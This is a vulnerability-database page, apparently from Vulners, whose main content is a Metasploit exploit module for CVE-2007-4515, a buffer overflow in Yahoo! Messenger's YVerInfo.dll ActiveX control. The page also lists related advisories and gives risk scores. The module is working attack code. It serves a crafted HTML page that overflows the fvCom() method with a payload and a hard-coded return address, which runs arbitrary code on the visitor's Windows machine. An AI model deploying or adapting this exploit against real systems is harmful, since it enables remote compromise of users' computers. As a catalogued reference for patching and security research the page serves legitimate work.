Yahoo! Messenger - 'YVerInfo.dll' ActiveX Control Buffer Overflow (Metasploit)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | Yahoo! Messenger < 8.1.0.419 YVerInfo ActiveX Buffer Overflow | 30 Aug 200700:00 | – | nessus |
| Yahoo! Messenger YVerInfo ActiveX Buffer Overflows | 30 Aug 200700:00 | – | nessus |
 | CVE-2007-4515 | 9 May 201000:00 | – | circl |
 | Yahoo! Messenger ActiveX Control YVerInfo.dll Buffer Overflow (CVE-2007-4515) | 6 Oct 200700:00 | – | checkpoint_advisories |
 | CVE-2007-4515 | 31 Aug 200722:00 | – | cve |
 | CVE-2007-4515 | 31 Aug 200722:00 | – | cvelist |
 | Yahoo! Messenger - 'YVerInfo.dll 2007.8.27.1' ActiveX Buffer Overflow | 1 Sep 200700:00 | – | exploitdb |
 | Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow | 1 Oct 200710:58 | – | metasploit |
 | CVE-2007-4515 | 31 Aug 200722:17 | – | nvd |
 | Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow | 26 Nov 200900:00 | – | packetstorm |
10
##
# $Id: yahoomessenger_fvcom.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Yahoo! Messenger YVerInfo.dll ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Yahoo! Messenger ActiveX
Control (YVerInfo.dll <= 2006.8.24.1). By sending a overly long string
to the "fvCom()" method from a yahoo.com domain, an attacker may be able
to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision: 9262 $',
'References' =>
[
[ 'CVE', '2007-4515' ],
[ 'OSVDB', '37739' ],
[ 'BID', '25494' ],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=591' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2 Pro English', { 'Ret' => 0x7cc58fd8 } ], # Tested on fully patched XPSP2 9/29/07
],
'DisclosureDate' => 'Aug 30 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_english(411) + [target.ret].pack('V')
sploit << p.encoded + rand_text_english(payload.encoded.length)
# Build out the message
content = %Q|
<html>
<object classid='clsid:D5184A39-CBDF-4A4F-AC1A-7A45A852C883' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}');
#{vname}.fvcom(#{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Mar 2011 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.33011